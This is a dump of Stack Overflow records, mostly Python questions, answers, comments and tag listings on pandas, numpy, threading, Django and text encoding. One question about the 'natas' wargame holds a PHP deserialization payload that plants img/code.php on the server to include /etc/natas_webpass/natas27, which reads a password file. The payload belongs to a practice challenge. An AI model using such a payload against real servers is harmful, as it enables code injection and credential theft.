has body: In your code, data is a csv.reader object, but not the actual contents of your file. My guess is that you want to strip out the 'RE' and 'FW' from one field in your csv file. If the subject line is the the 3rd column (2 in Python) in your csv file, you could do: import csv import re p = re.compile('([\[\(] *)?.*(RE?S?|FWD?|Fwd?|re\[\d+\]?) *([-:;)\]][ :;\])-]*)|\]+ *$', re.IGNORECASE) with open('examplefile.csv',"r+") as f: f_reader = csv.reader(f) for row in f_reader: subject = p.sub("", row[2]) #clean the 3rd column print(subject)
answers question: http://stackoverflow.com/q/47373298
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/47373298

http://stackoverflow.com/a/47255988
has body: First things first, there appears to be some contention between your requirements and the code you've delivered :-) The text of your question (presumably taken from an assignment, or Euler #2) requests the ... sum of the even numbers of the numbers below 4,000,000 in the Fibonacci sequence. Your code is summing the even numbers from the first four million Fibonacci numbers which is vastly different. The four millionth Fibonacci number has, according to Binet's formula, north of 800,000 digits in it (as opposed to the seven digits in the highest one below four million). So, assuming the text to be more correct than the code, you don't actually need to construct a list and then evaluate every item in it, that's rather wasteful on memory. The Fibonacci numbers can be generated on the fly and then simply accumulated if they're even. It's also far more useful to be able to use an arbitrary method to accumulate the numbers, something like the following: def sumFibWithCond(limit, callback): # Set up initial conditions. grandparent, parent, child = 0, 0, 1 accum = 0 # Loop until number is at or beyond limit. while child &lt; limit: # Add any suitable number to the accumulator. accum = accum + callback(child) # Set up next Fibonacci cycle. grandparent, parent = parent, child child = grandparent + child # Return accumulator when done. return accum def accumulateEvens(num): # Return even numbers as-is, zero for odd numbers. if num % 2 == 0: return num return 0 sumEvensBelowFourMillion = sumFibWithCond(4000000, accumulateEvens) Of special note is the initial conditions. The numbers are initialised to 0, 0, 1 since we want to ensure we check every Fibonacci number (in child) for the accumulating condition. This means the initial value of child should be one assuming, as per the question, that's the first number you want. This doesn't make any difference in the current scenario since one is not even but, were you to change the accumulating condition to "odd numbers" (or any other…
has comment: http://stackoverflow.com/comment/81463210
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/81462956
answers question: http://stackoverflow.com/q/47255899

http://stackoverflow.com/q/47261497
score: 1
has body: I have a data frame as follows 0 1 2 3 4 5 6 7 8 9 window 1000 210 227 224 223 215 239 224 217 228 218 1500 306 304 262 267 304 294 291 283 272 267 2000 294 252 362 315 286 302 358 284 318 291 2500 322 326 332 262 367 251 272 354 360 373 3000 400 253 388 400 345 400 400 359 264 310 3500 260 400 400 321 365 285 374 335 308 342 4000 400 400 400 386 304 400 332 305 350 386 I want to convert it into dictionary like {'1000 :[210 227 224 223 215 239 224 217 228 218] '1500' :[306 304 262 267 304 294 291 283 272 267] '2000' :[294 252 362 315 286 302 358 284 318 291] '2500' :[322 326 332 262 367 251 272 354 360 373] '3000' :[400 253 388 400 345 400 400 359 264 310] '3500' :[260 400 400 321 365 285 374 335 308 342] '4000' :[400 400 400 386 304 400 332 305 350 386]} I have tried mentioned solution by following this link dictionary= df.set_index('window').T.to_dict('list') print dictionary But I am getting following error
downvote count: 0
answer count: 1
upvote count: 1
has title: error converting dataframe to dictionary in pandas
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47261523
has answer: http://stackoverflow.com/a/47261523
tagged with: python
linked to: http://stackoverflow.com/q/26716616
type: AnsweredQuestion
tagged with: python-2.7
tagged with: pandas

http://stackoverflow.com/comment/81530469
has text: You're returning from inside the loop. That will return from the entire function after the first iteration.
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47289944

http://stackoverflow.com/comment/81627494
comment on: http://stackoverflow.com/a/47293538
type: Comment
has text: The code in the update to your question is definitely wrong—and you didn't add information about what the contents in the **input** file looks like (the file associated with the variable `IRIS` used in the `open(IRIS, newline='')` statement.
score: 0
type: AnswerComment

http://stackoverflow.com/a/47244436
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47244314
type: Answer
answers question: http://stackoverflow.com/q/47244314
has body: Fixed the error but your sorting logic is wrong, I think def quicksort(array,l,r): n = len(array) if n == 1 or n == 0: return array else: p = array[l] i = l + 1 for j in range(1, r-1): # r is length of array; so range should be one less if array[j] &lt; p: array[i], array[j] = array[j], array[i] i = i + 1 array[l], array[i-1] = array[i-1], array[l] array[l:i-1] = quicksort(array[l:i-1],l,i-1) array[i:r] = quicksort(array[i:r],i,r) return array testarray = [1,3,4,5,2] sortedarray = quicksort(testarray,0,5) print(sortedarray) Output [1, 3, 2, 4, 5]
has comment: http://stackoverflow.com/comment/81439374
type: AcceptedAnswer

http://stackoverflow.com/comment/81513323
has text: Hello and welcome to StackOverflow. Please take some time to read the help page, especially the sections named ["What topics can I ask about here?"](http://stackoverflow.com/help/on-topic) and ["What types of questions should I avoid asking?"](http://stackoverflow.com/help/dont-ask). And more importantly, please read [the Stack Overflow question checklist](http://meta.stackexchange.com/q/156810/204922). You might also want to learn about [Minimal, Complete, and Verifiable Examples](http://stackoverflow.com/help/mcve).
score: 2
comment on: http://stackoverflow.com/q/47281310
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47253080
tagged with: axes
has answer: http://stackoverflow.com/a/47253150
answer count: 1
tagged with: authentication
tagged with: web
type: Question
has body: I have installed django axes with this command in cmd : pip install django-axes Then i addes to my setting.py file this parts : INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'post_app', 'axes', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'axes.middleware.FailedLoginMiddleware', ] AXES_LOCK_OUT_AT_FAILURE = False AXES_USE_USER_AGENT = True AXES_COOLOFF_TIME = 1 AXES_LOGIN_FAILURE_LIMIT = 50 Now i want to runserver with this command : python manage.py runserver But i have this error in cmd : Unhandled exception in thread started by &lt;function wrapper at 0x0000000004AA4908&gt; Traceback (most recent call last): File "D:\python\data\lib\site-packages\django\utils\autoreload.py", line 228, in wrapper fn(*args, **kwargs) File "D:\python\data\lib\site-packages\django\core\management\commands\runserver.py", line 117, in inner_run autoreload.raise_last_exception() File "D:\python\data\lib\site-packages\django\utils\autoreload.py", line 251, in raise_last_exception six.reraise(*_exception) File "D:\python\data\lib\site-packages\django\utils\autoreload.py", line 228, in wrapper fn(*args, **kwargs) File "D:\python\data\lib\site-packages\django\__init__.py", line 27, in setup apps.populate(settings.INSTALLED_APPS) File "D:\python\data\lib\site-packages\django\apps\registry.py", line 116, in populate app_config.ready() File "D:\python\data\lib\site-packages\axes\apps.py", line 9, in ready from axes.decorators import watch_login File "D:\python\data\lib\site-packages\axes\decorators.py", line 3, in &lt;module&gt…
has title: Error in adding django-axes to project
type: UnansweredQuestion
tagged with: django
tagged with: python
score: 0

http://stackoverflow.com/a/47299891
accepted answer of: http://stackoverflow.com/q/47299551
type: AcceptedAnswer
score: 0
type: Answer
has body: It looks like setuptools' documentation contradicts the implementation and actually you cannot specify a directory to include in package_data. It's not very elegant, but I used: # We can't seem to list a directory as package_data, so we will # recursively add all all files we find package_data['lightblue'] = [] for path, _, files in os.walk('osx/LightAquaBlue.framework'): for f in files: include = os.path.join(path, f)[4:] # trim off osx/ package_data['lightblue'].append(include)
answers question: http://stackoverflow.com/q/47299551

http://stackoverflow.com/a/74881909
type: Answer
has body: Here is a succinct and fully numpy solution, without any python-based loops: (np.expand_dims(a, 0) + np.expand_dims(b.T, 1)).min(axis=2).T
has comment: http://stackoverflow.com/comment/137651797
score: 1
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47359743

http://stackoverflow.com/comment/81524374
type: Comment
type: QuestionComment
has text: I guess there are 256 colors in the colormap. If the colors in the map are sufficiently different you can quantize them and quantize the RGB values in your images. That way you won't need to calculate differences to find the closest color in the map.
comment on: http://stackoverflow.com/q/47287014
score: 0

image
tags question: http://stackoverflow.com/q/47265000
tags question: http://stackoverflow.com/q/47228514
tags question: http://stackoverflow.com/q/47273107
tags question: http://stackoverflow.com/q/47327641
tags question: http://stackoverflow.com/q/47355194
tags question: http://stackoverflow.com/q/47375749
tags question: http://stackoverflow.com/q/47362057
tags question: http://stackoverflow.com/q/47371520
tags question: http://stackoverflow.com/q/47240745
tags question: http://stackoverflow.com/q/47273372
tags question: http://stackoverflow.com/q/47371758
tags question: http://stackoverflow.com/q/47307600
tag name: image
tags question: http://stackoverflow.com/q/47268264
tags question: http://stackoverflow.com/q/47244826
tags question: http://stackoverflow.com/q/47260597
tags question: http://stackoverflow.com/q/47372235
tags question: http://stackoverflow.com/q/47253620
tags question: http://stackoverflow.com/q/47301744
type: Tag
tags question: http://stackoverflow.com/q/47340700
tags question: http://stackoverflow.com/q/47377230
tags question: http://stackoverflow.com/q/47295430
tags question: http://stackoverflow.com/q/47313829
tags question: http://stackoverflow.com/q/47297209
tags question: http://stackoverflow.com/q/47365505
tags question: http://stackoverflow.com/q/47310371
tags question: http://stackoverflow.com/q/47227472

http://stackoverflow.com/q/47339842
tagged with: python
has comment: http://stackoverflow.com/comment/81632115
has comment: http://stackoverflow.com/comment/81632456
has comment: http://stackoverflow.com/comment/81632298
score: 2
type: AnsweredQuestion
has body: I would like to know how to keep the accents in python, and if we could explain to myself a little about how it works, I spend hours searching. I still do not understand anything x) Example 1: text = "Danay Suarèz hablé" print(text) output: Danay Suar▒z habl▒ Example 2: print(text.encode('utf-8')) output: b'Danay Suar\xc3\xa8z habl\xc3\xa9' I would like just output: Danay Suarèz hablé
has comment: http://stackoverflow.com/comment/81632319
answer count: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81633038
has comment: http://stackoverflow.com/comment/81632326
has comment: http://stackoverflow.com/comment/81632494
downvote count: 0
has comment: http://stackoverflow.com/comment/81632238
possible better answer: http://stackoverflow.com/a/47340118
has answer: http://stackoverflow.com/a/47354565
has comment: http://stackoverflow.com/comment/81632606
has answer: http://stackoverflow.com/a/47340118
tagged with: diacritics
favorite count: 0
type: Question
has title: Accents with python
accepted answer: http://stackoverflow.com/a/47354565
has comment: http://stackoverflow.com/comment/81632362

http://stackoverflow.com/comment/81711096
has text: that's php not python..
comment on: http://stackoverflow.com/q/47379381
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/81454413
type: Comment
comment on: http://stackoverflow.com/q/47252003
score: 1
type: QuestionComment
has text: A dictionary is the right idea, I don't understand what the problem is.

http://stackoverflow.com/comment/81583969
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47315438
has text: Thank you but I have found another answer that is more efficient, I will still upvote your answer. Thanks again and sorry for any inconvenience.
type: AnswerComment

http://stackoverflow.com/comment/81424348
comment on: http://stackoverflow.com/q/47236398
score: 0
type: Comment
has text: Sorry, I don't know what else to suggest. But hopefully the extra info you've posted will help someone who's familiar with `gspread` to solve your problem.
type: QuestionComment

http://stackoverflow.com/comment/81635294
has text: Thank you, In the file, there is a single number at the start. How would I ignore that in this code?
type: Comment
comment on: http://stackoverflow.com/a/47341159
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81620440
comment on: http://stackoverflow.com/a/47334550
type: AnswerComment
score: 0
has text: See https://stackoverflow.com/a/47334457/4909087 and https://stackoverflow.com/a/47334464/4909087
type: Comment

tensorflow
tags question: http://stackoverflow.com/q/47364379
tags question: http://stackoverflow.com/q/47276424
tags question: http://stackoverflow.com/q/47231588
type: Tag
tags question: http://stackoverflow.com/q/47365126
tags question: http://stackoverflow.com/q/47263006
tags question: http://stackoverflow.com/q/47238926
tags question: http://stackoverflow.com/q/47277388
tags question: http://stackoverflow.com/q/47327618
tags question: http://stackoverflow.com/q/47343017
tags question: http://stackoverflow.com/q/47352366
tags question: http://stackoverflow.com/q/47236171
tags question: http://stackoverflow.com/q/47228270
tags question: http://stackoverflow.com/q/47277410
tags question: http://stackoverflow.com/q/47267105
tags question: http://stackoverflow.com/q/47319291
tags question: http://stackoverflow.com/q/47277165
tags question: http://stackoverflow.com/q/47317319
tags question: http://stackoverflow.com/q/47361922
tags question: http://stackoverflow.com/q/47231408
tags question: http://stackoverflow.com/q/47305473
tags question: http://stackoverflow.com/q/47367180
tags question: http://stackoverflow.com/q/47313838
tags question: http://stackoverflow.com/q/47342212
tags question: http://stackoverflow.com/q/47283356
tags question: http://stackoverflow.com/q/47373706
tags question: http://stackoverflow.com/q/47281310
tags question: http://stackoverflow.com/q/47261561
tags question: http://stackoverflow.com/q/47241010
tags question: http://stackoverflow.com/q/47264171
tags question: http://stackoverflow.com/q/47368466
tags question: http://stackoverflow.com/q/47321058
tags question: http://stackoverflow.com/q/47379246
tags question: http://stackoverflow.com/q/47229096
tags question: http://stackoverflow.com/q/47225210
tags question: http://stackoverflow.com/q/47360704
tags question: http://stackoverflow.com/q/47351307
tags question: http://stackoverflow.com/q/47353479
tags question: http://stackoverflow.com/q/47313765
tags question: http://stackoverflow.com/q/47238838
tags question: http://stackoverflow.com/q/47314011
tags question: http://stackoverflow.com/q/47289116
tags question: http://stackoverflow.com/q/47255063
tags question: http://stackoverflow.com/q/47328528
tags question: http://stackoverflow.com/q/47315508
tags question: http://stackoverflow.com/q/47309425
tags question: http://stackoverflow.com/q/47361980
tags question: http://stackoverflow.com/q/47257408
tags question: http://stackoverflow.com/q/47318734
tags question: http://stackoverflow.com/q/47363899
tags question: http://stackoverflow.com/q/47257578
tags question: http://stackoverflow.com/q/47236465
tags question: http://stackoverflow.com/q/47297263
tags question: http://stackoverflow.com/q/47264830
tags question: http://stackoverflow.com/q/47250882
tags question: http://stackoverflow.com/q/47257751
tags question: http://stackoverflow.com/q/47349426
tags question: http://stackoverflow.com/q/47344065
tags question: http://stackoverflow.com/q/47259822
tags question: http://stackoverflow.com/q/47339812
tags question: http://stackoverflow.com/q/47280228
tags question: http://stackoverflow.com/q/47240349
tags question: http://stackoverflow.com/q/47360148
tags question: http://stackoverflow.com/q/47380267
tags question: http://stackoverflow.com/q/47288642
tags question: http://stackoverflow.com/q/47283462
tags question: http://stackoverflow.com/q/47234051
tags question: http://stackoverflow.com/q/47382407
tags question: http://stackoverflow.com/q/47272699
tags question: http://stackoverflow.com/q/47297983
tags question: http://stackoverflow.com/q/47267636
tags question: http://stackoverflow.com/q/47318271
tags question: http://stackoverflow.com/q/47340607
tags question: http://stackoverflow.com/q/47286824
tags question: http://stackoverflow.com/q/47334781
tags question: http://stackoverflow.com/q/47242485
tags question: http://stackoverflow.com/q/47308181
tags question: http://stackoverflow.com/q/47367988
tags question: http://stackoverflow.com/q/47319390
tags question: http://stackoverflow.com/q/47313656

http://stackoverflow.com/a/47286011
has comment: http://stackoverflow.com/comment/81524777
accepted answer of: http://stackoverflow.com/q/47285860
has comment: http://stackoverflow.com/comment/81524823
has comment: http://stackoverflow.com/comment/81523961
type: Answer
answers question: http://stackoverflow.com/q/47285860
has comment: http://stackoverflow.com/comment/81524649
has comment: http://stackoverflow.com/comment/81524318
has comment: http://stackoverflow.com/comment/81524253
score: 3
has comment: http://stackoverflow.com/comment/81526050
has comment: http://stackoverflow.com/comment/81524855
upvote count: 3
has body: Use regex and str.split with expand i.e df = pd.DataFrame({'Animal':['Cat 3:30 pm','Hamster pig 4:30 pm','Cancelled']}) df'Animal','Time' = df['Animal'].str.split('(^\D+)',expand=True).drop(0,1) df['Animal'] = df['Animal'].str.strip() Output : Animal Time 0 Cat 3:30 pm 1 Hamster pig 4:30 pm 2 Cancelled
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81525989
has comment: http://stackoverflow.com/comment/81525622

http://stackoverflow.com/a/62784871
answers question: http://stackoverflow.com/q/47312396
upvote count: 18
type: Answer
has body: Removing .cuda() works for me on macOS.
downvote count: 4
score: 14
has comment: http://stackoverflow.com/comment/121578972
has comment: http://stackoverflow.com/comment/139145180

http://stackoverflow.com/q/47280799
favorite count: 0
type: Question
tagged with: serialization
score: 1
has body: Whilst trying to do a natas challange online, I wanted to convert the php code into python, but I do not get the expected result. Might be that I'm missing something from phpserialize Why is it giving a different output? Python code import base64 from phpserialize import serialize payload = {'initMsg': "", 'exitMsg': "&lt;?php include('/etc/natas_webpass/natas27');?&gt;", 'logFile': "img/code.php"} new_ser = base64.encodestring(serialize(payload)) print(new_ser) PHP code &lt;?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct(){ $this-&gt;initMsg = ""; $this-&gt;exitMsg = "&lt;?php include('/etc/natas_webpass/natas27');?&gt;"; $this-&gt;logFile = "img/code.php"; } } $obj = new Logger(); echo base64_encode(serialize($obj)); ?&gt; The PHP code yields: [binary] The python code yields: b'YTozOntzOjc6ImluaXRNc2ciO3M6MDoiIjtzOjc6ImV4aXRNc2ciO3M6NDY6Ijw/cGhwIGluY2x1\nZGUoJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jyk7Pz4iO3M6NzoibG9nRmlsZSI7czoxMjoi\naW1nL2NvZGUucGhwIjt9\n'
has answer: http://stackoverflow.com/a/47282798
tagged with: python
answer count: 2
has answer: http://stackoverflow.com/a/47281282
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81512265
downvote count: 0
upvote count: 1
has title: Python phpserialize unexpected behaviour
tagged with: php

http://stackoverflow.com/comment/81536933
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47292558
has text: @JKC Yes..exactly what you would have to do to make it work at the interpreter.

http://stackoverflow.com/q/47259363
tagged with: python
score: -1
has body: Please let me know if there are duplicated ones (I believe there are) and I will remove the post. I am just not sure about the jargon for this question. When writing a new function augmented_func which contains the other function already defined original_func, I am trying to avoid defining arguments that are already in original_func: def original_func(a1, a2 ,a3): print(a1, a2, a3) def augmented_func(b, a1, a2, a3): print(original_func(a1, a2, a3), b) How do I avoid writing a's when defining augmented_func, and make it simpler especially when the number of arguments for original_func is more than, say, three in the example?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47259391
downvote count: 1
favorite count: 0
has title: Python: define arguments of a function which include the arguments of the other function
possible better answer: http://stackoverflow.com/a/47259427
type: Question
has answer: http://stackoverflow.com/a/47259427
accepted answer: http://stackoverflow.com/a/47259391
tagged with: function
upvote count: 0
answer count: 2
tagged with: arguments

http://stackoverflow.com/a/47225417
has comment: http://stackoverflow.com/comment/81401119
has body: Seems like numpy sometimes has a hard time guessing the correct datatype. On my system, Win 10 64-bit, Python 3.4.4, numpy 1.13.1: &gt;&gt; np.arange(1, 100000001).sum() 987459712 &gt;&gt; np.arange(1, 100000001).dtype dtype('int32') But, if we "help" numpy it gets the correct result: &gt;&gt; np.arange(1, 100000001, dtype=np.int64).sum() 500000005000000 The wrong result is obviously due to 32-bit integer overflowing.
accepted answer of: http://stackoverflow.com/q/47225263
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81401190
upvote count: 5
score: 5
answers question: http://stackoverflow.com/q/47225263
type: Answer
has comment: http://stackoverflow.com/comment/81400907

http://stackoverflow.com/comment/81701473
has text: Why did you expect `testing2.entertainmentList` to be a thing? It's not clear what part of this code you were expecting to create `testing2.entertainmentList`.
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47374454

http://stackoverflow.com/comment/81532264
comment on: http://stackoverflow.com/a/47290280
score: 0
type: AnswerComment
has text: You can definitely do better than this in terms of efficiency, the result will be the same though. The task of tweaking the algorithms you mentioned is worth it for large graphs, which depend ultimately on OP needs (which weren't specified). But good observation.
type: Comment

http://stackoverflow.com/q/47341900
upvote count: 1
tagged with: python
score: 0
tagged with: list
has title: Python: 2D List Statistics : Finding Min, Max, Sum
answer count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/81635992
favorite count: 0
type: Question
tagged with: min
tagged with: function
type: UnansweredQuestion
has body: I'm having some trouble trying to use functions in order to calculate the min, max, and sum of a list. The list is randomly generated and the user is able to select how many values are present in the list. Could someone help me figure out how to create a function using both a tempList and a tempdim(temporary dimension)? I have a code to make the dimensions and the random list, I feel like I have a pretty good structure of the program.. I just can't figure out how to make the function code. This is what I have so far... import random MINRAND = 1 MAXRAND = 1000 def main(): dimensions = int(input("How large do you want your square 2D array? ")) numbers = [[] for i in range(dimensions)] generateList(numbers, dimensions) printList(numbers, dimensions) print("2-D List Highest Element is: ", findHighest(tempList)) print("2-D List Lowest Element is: ", findLowest(tempList)) print("2-D List Sum is: ", sum2Dlist(tempList)) def findHighest(tempList, tempdim): def findLowest(tempList, tempdim): def sum2Dlist(tempList, tempdim): def generateList(tempList, tempdim): for row in range(tempdim): for col in range(tempdim): tempList[row].append(random.randint(MINRAND, MAXRAND)) def printList(templist, tempdim): for row in range(tempdim): for col in range(tempdim): print(format(templist[row][col], '6d'), end=" ") print() # Call the main function main() Thank you so much!!
tagged with: arrays
has comment: http://stackoverflow.com/comment/81636053

http://stackoverflow.com/comment/81584911
type: AnswerComment
score: 0
has text: OK Your code works. I appreciate it. The website provides share query where it provides the query, I realized after your answer. However, there the query starts like: "michigantrafficcrashfacts.org/querytool/lists/0#q1;0;2016;;&p0,0:0,10:0,11:0,12 ....". You use a different query link. Is that something you came up on your own from your experience? How did you figure that out? When I use the provided query by the website, the last part of your code, where you use json.loads() does not work.
comment on: http://stackoverflow.com/a/47316103
type: Comment

http://stackoverflow.com/q/47366824
possible better answer: http://stackoverflow.com/a/47368025
accepted answer: http://stackoverflow.com/a/47379446
has body: I am currently coding program that is 'doing' and plotting phase analysis of DNA sample and something is wrong with it: Output plot HERE! Image on the right side is from MATLAB and is example of how it SHOULD look like. Image on the left is output from my program. As you can see the blue graph looks right but it is under different angle. I've checked the code and it is basicaly same as it is in the MATLAB version of my program. I'll put it here anyway maybe there is a mistake I don't know about. But if it isn't, is there a way of 'turning/lowering' that graph to the right position? Python code here: def listIni(size, const=0): return [const] * size seq = SeqIO.read("C:/ec.fasta", "fasta") seqString = seq.format("fasta") seq = seqString[72:] seqLen = len(seq) phase = listIni(seqLen) A = complex(1, 1) T = complex(1, -1) C = complex(-1, -1) G = complex(-1, 1) RNL = range(0, seqLen) ntLoc = np.asarray(RNL) for i in RNL: if seq[i] == "A": phase[i] = np.angle(A) elif seq[i] == "T": phase[i] = np.angle(T) elif seq[i] == "C": phase[i] = np.angle(C) else: phase[i] = np.angle(G) arrPh = np.asarray(phase) unwrapedPh = np.unwrap(arrPh) cumulatedPh = np.cumsum(arrPh) plt.plot(ntLoc, unwrapedPh, label='uPhase', color='red') plt.plot(ntLoc, cumulatedPh, label='cPhase', color='blue') plt.xlabel("Relative nt location") plt.ylabel("Angle") plt.show()
answer count: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47379446
score: 0
tagged with: analysis
tagged with: signal-processing
has title: How do I 'lower' graph by a certain angle in python
has answer: http://stackoverflow.com/a/47368025
type: Question
tagged with: bioinformatics
tagged with: matplotlib
tagged with: python

http://stackoverflow.com/q/47335702
has title: Python difficulty running functions in parallel
type: AnsweredQuestion
downvote count: 0
answer count: 1
score: 1
upvote count: 1
favorite count: 0
has body: I am currently Using python 2.6 and am attempting to run another python script multiple times with different input, and whatever attempts I do to run it in the background, it seems that the script waits for the process to complete, before moving on to the next line. I have tried using subprocess.Popen(Some.Func(Args)) and T1 = threading.Thread(Some.Func(Args)) T1.start() I would like to be able to run through multiple calls to Some class without waiting on any particular one to finish.
type: Question
accepted answer: http://stackoverflow.com/a/47336073
has answer: http://stackoverflow.com/a/47336073
tagged with: multithreading
tagged with: python

http://stackoverflow.com/comment/81534805
score: 0
comment on: http://stackoverflow.com/q/47292020
has text: Hello Jakob, this other question might be able to point you in the right direction. https://stackoverflow.com/questions/419163/what-does-if-name-main-do
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47337625
answer count: 2
has answer: http://stackoverflow.com/a/47337754
tagged with: multithreading
downvote count: 0
has title: Shutting down daemon thread properly
has body: I've created my own thread class that will be used in a threadpool as follows: class SendFilesThread(threading.Thread): execute = True def __init__(self, port, rate, fileQueue): self.daemon = True self.fileQueue = fileQueue #Other initialization def run(self): while SendFilesThread.execute == True or not self.fileQueue.empty(): self.filename = self.fileQueue.get() #some file processing self.fileQueue.task_done() @staticmethod def terminate(): SendFilesThread.execute = False In the main thread of the program, after I have processed all of my files, I try and shut down the threadpool as follows: SendFilesThread.terminate() for t in threadPool: if t.is_alive(): t.join() exit() My understanding is that if I call join() it will block the calling thread, in this case the main thread, from continuing until the joined thread finishes processing. My issue is that despite the thread completing, it never returns to the main thread and the program just hangs. Am I doing anything wrong when shutting down my threadpool?
favorite count: 0
has comment: http://stackoverflow.com/comment/81627789
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47337754
tagged with: python
has comment: http://stackoverflow.com/comment/81628129
type: Question
has answer: http://stackoverflow.com/a/47337912
possible better answer: http://stackoverflow.com/a/47337912
score: 2
upvote count: 2

http://stackoverflow.com/comment/81663184
type: Comment
has text: I'm curious, did your orignal code raise any errors, or did it just run without ever printing, "is greater than", row is a list of integers, then the line if row[4]>'10' should have caused an error, since you are comparing ints and strings?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47352483

http://stackoverflow.com/comment/81517258
type: QuestionComment
has text: Can you please edit the question to have dummy data of your questions.csv
comment on: http://stackoverflow.com/q/47283491
score: 1
type: Comment

http://stackoverflow.com/q/47335331
type: AnsweredQuestion
score: 1
tagged with: socket.io
has answer: http://stackoverflow.com/a/49403657
favorite count: 0
type: Question
has body: I've built a docker image, each container that use such image will run an application called 'run.py'. run.py uses socket.io: import socketio I obtain the following error after the docker run: Traceback (most recent call last): File "run.py", line 1, in &lt;module&gt; import socketio File "/usr/local/lib/python2.7/site-packages/socketio/__init__.py", line 8, in &lt;module&gt; from .zmq_manager import ZmqManager File "/usr/local/lib/python2.7/site-packages/socketio/zmq_manager.py", line 5, in &lt;module&gt; import eventlet.green.zmq as zmq File "/usr/local/lib/python2.7/site-packages/eventlet/__init__.py", line 10, in &lt;module&gt; from eventlet import convenience File "/usr/local/lib/python2.7/site-packages/eventlet/convenience.py", line 6, in &lt;module&gt; from eventlet.green import socket File "/usr/local/lib/python2.7/site-packages/eventlet/green/socket.py", line 21, in &lt;module&gt; from eventlet.support import greendns File "/usr/local/lib/python2.7/site-packages/eventlet/support/greendns.py", line 69, in &lt;module&gt; setattr(dns.rdtypes.IN, pkg, import_patched('dns.rdtypes.IN.' + pkg)) File "/usr/local/lib/python2.7/site-packages/eventlet/support/greendns.py", line 59, in import_patched return patcher.import_patched(module_name, **modules) File "/usr/local/lib/python2.7/site-packages/eventlet/patcher.py", line 119, in import_patched *additional_modules + tuple(kw_additional_modules.items())) File "/usr/local/lib/python2.7/site-packages/eventlet/patcher.py", line 93, in inject module = __import__(module_name, {}, {}, module_name.split('.')[:-1]) File "/usr/local/lib/python2.7/site-packages/eventlet/support/dns/rdtypes/IN/WKS.py", line 24, in &lt;module&gt; _proto_udp = socket.getprotobyname('udp') socket.error: protocol not found My Dockerfile provides an official python image, it installs the requirements described below and it adds the file protocols in /etc. This last step was done following the advices in https://github.com/eventlet/eventlet/issues/370…
downvote count: 0
answer count: 1
upvote count: 1
tagged with: python
has title: Import socketio fails inside a docker containers?
accepted answer: http://stackoverflow.com/a/49403657
tagged with: docker

http://stackoverflow.com/q/47257365
tagged with: pysolr
tagged with: lucene
has title: Apache Solr 6.6 replace document instead of update
score: 3
upvote count: 3
tagged with: solr
answer count: 1
has body: I have configured solr 6.6.1 for a testing setup. After indexing few documents, I have to update few fields. I am using python client of solr. To update, following is my code snippet import solr def update_solr_index(_id, _value): print solr_conn2.add( id = _id, group2 = _value) core_ulr = "http://localhost:8983/solr/use" solr_conn2 = solr.SolrConnection(core_ulr) update_solr_index(doc_id, field_value) After execution (and commit), all other fields are removed from all documents and only two fields left that are doc_id and group2. What is the problem is this API or in my code?
favorite count: 0
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47262074
linked to: http://stackoverflow.com/q/42092635
downvote count: 0
tagged with: python

http://stackoverflow.com/a/47279914
score: 0
answers question: http://stackoverflow.com/q/47279517
type: Answer
has body: use datetime module to convert a string into time like below: from datetime import datetime first_time = "17:08:54" second_time = "17:50:33" format = "%H:%M:%S" time_delta = datetime.strptime(second_time, FMT) -datetime.strptime(first_time, FMT) count = 0 gap = 5 if time_delta.seconds &gt;= 5*60: count+=1

http://stackoverflow.com/comment/81604424
comment on: http://stackoverflow.com/a/47326073
score: 0
has text: @PaulPanzer: You can break many things with unicode ¯\_(ツ)_/¯ . What about `isdecimal()`?
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47406432
downvote count: 0
has body: I have made a flask app which takes the JSON object from request body, instead of reading it from file. This code converts an existing LUIS json using spaCy for entities and sklearn-crfsuite for intent recognition. from flask import Flask, jsonify, request from flask_cors import CORS import json, os, msvcrt, psutil, subprocess, datetime app = Flask(__name__) CORS(app) with app.app_context(): with app.test_request_context(): #region REST based RASA API serverExecutablePID = 0 hasAPIStarted = False configFileDirectory = "C:\\Code\\RasaAPI\\RASAResources\\config" chitChatModel = "ChitChat" assetsDirectory = "C:\\Code\\RasaAPI\\RASAResources" def createSchema(SchemaPath, dataToBeWritten): try: #write LUIS or RASA JSON Schema in json file locking the file to avoid race condition using Python's Windows msvcrt binaries with open(SchemaPath, "w") as SchemaCreationHandle: msvcrt.locking(SchemaCreationHandle.fileno(), msvcrt.LK_LOCK, os.path.getsize(SchemaPath)) json.dump(dataToBeWritten, SchemaCreationHandle, indent = 4, sort_keys=False) SchemaCreationHandle.close() #Check if written file actually exists on disk or not doesFileExist = os.path.exists(SchemaPath) return 